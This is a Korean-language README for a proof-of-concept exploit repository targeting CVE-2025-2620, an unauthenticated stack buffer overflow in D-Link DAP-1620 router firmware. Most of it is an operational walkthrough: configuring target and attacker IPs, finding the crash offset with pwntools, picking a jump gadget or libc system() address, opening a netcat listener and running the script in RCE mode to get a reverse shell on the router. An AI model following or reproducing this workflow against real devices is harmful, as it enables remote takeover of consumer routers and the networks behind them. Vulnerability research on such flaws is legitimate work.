
CVE-2025-2620에 대한 개념 증명 익스플로잇, D-Link DAP-1620 라우터의 심각한 스택 기반 버퍼 오버플로우로 인증되지 않은 원격 코드 실행 및 리버스 셸 접근을 가능하게 합니다.
이 저장소는 D-Link DAP-1620 라우터의 펌웨어 버전 1.03에서 발견된 치명적인 스택 기반 버퍼 오버플로 취약점인 CVE-2025-2620에 대한 고급 개념 증명(PoC) 익스플로잇을 포함하고 있습니다. 이 취약점은 인증되지 않은 원격 공격자가 라우터의 웹 서버를 충돌시키거나(서비스 거부, DoS) 잠재적으로 임의 코드를 실행할 수 있게 합니다(원격 코드 실행, RCE).
이 프로젝트의 목적은 익스플로잇 개발 기술을 시연하는 것입니다.
CVE-2025-2620은 D-Link DAP-1620 라우터의 mod_graph_auth_uri_handler 함수, 특히 /storage 엔드포인트에 영향을 미칩니다. 이 취약점은 부적절한 경계 검사로 인해 발생하며, 공격자가 할당된 버퍼 크기를 초과하는 큰 입력을 보내 스택 기반 버퍼 오버플로를 유발할 수 있습니다.
취약한 함수는 HTTP 요청에서 인증 매개변수(auth)를 처리합니다:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // 고정 크기 스택 버퍼
strcpy(buffer, input); // 길이 검사 없음, 오버플로 발생
// 인증 처리...
}
과도한 크기의 페이로드(예: 1024+ 바이트)를 보내는 공격자는 인접 메모리를 덮어쓰며, 여기에는 함수의 반환 주소도 포함되어 코드 실행으로 이어질 수 있습니다.
D-Link DAP-1620는 다음과 같은 사양을 가진 Wi-Fi 범위 확장기입니다:
유사한 펌웨어를 사용하는 다른 D-Link 라우터/확장기도 영향을 받을 수 있습니다.
통합 PoC – 버퍼 오버플로 테스트와 RCE 익스플로잇을 모두 포함.
스택 기반 버퍼 오버플로 테스트 – 취약한 라우터 식별.
완전한 원격 코드 실행(RCE) 익스플로잇 – 리버스 셸 생성.
구성 가능한 페이로드 크기 및 반환 주소 – 다른 라우터 모델에 적용 가능.
향상된 디버깅 – 충돌 오프셋을 로깅하여 익스플로잇 매개변수 정제.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Python3와 pwntools가 설치되어 있는지 확인하세요:
pip install pwntools
CVE-2025-2620_poc.py 스크립트를 수정하세요:
TARGET_IP = "192.168.0.1" # 라우터에 맞게 변경
ATTACKER_IP = "192.168.0.100" # 로컬 IP로 변경
ATTACKER_PORT = 4444 # 필요시 변경
BUFFER_SIZE = 8000 # 라우터가 충돌하지 않으면 증가
PoC를 수정하여 고유 패턴을 생성하고 전송하세요:
MODE = "overflow" # 오프셋을 찾기 위해 "overflow"로 설정
스크립트 실행:
python3 CVE-2025-2620_poc.py
라우터가 충돌한 후, 다음에서 segfault 주소(x86의 경우 EIP, MIPS의 경우 RA)를 확인하세요:
gdb)dmesg | grep 'segfault'0x61616161과 같은 주소를 찾으세요(이는 순환 패턴의 일부가 반환 포인터를 덮어썼음을 의미합니다).
cyclic_find를 사용하여 정확한 오프셋을 찾으세요:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # 충돌 주소로 대체
이로부터 정확한 OFFSET 값을 얻을 수 있습니다. PoC를 업데이트하세요:
OFFSET = <찾은 OFFSET> # 실제 숫자로 대체
RET_ADDR) 찾기옵션 1: JMP 또는 CALL 가젯 찾기
ROPgadget --binary vulnerable_binary | grep "jmp"
레지스터(예: jmp $sp 또는 jmp $ra)로 점프하는 주소를 선택하세요.
옵션 2: ret2libc 주소 사용
libc에서 system()의 주소를 찾으세요:
objdump -D /lib/libc.so.6 | grep "system"
그런 다음 이를 RET_ADDR로 사용하세요:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # 실제 주소로 대체
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Otsmane Ahmed가 ❤️를 담아 개발함
| 메트릭 | 값 |
|---|
| 공격 경로 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |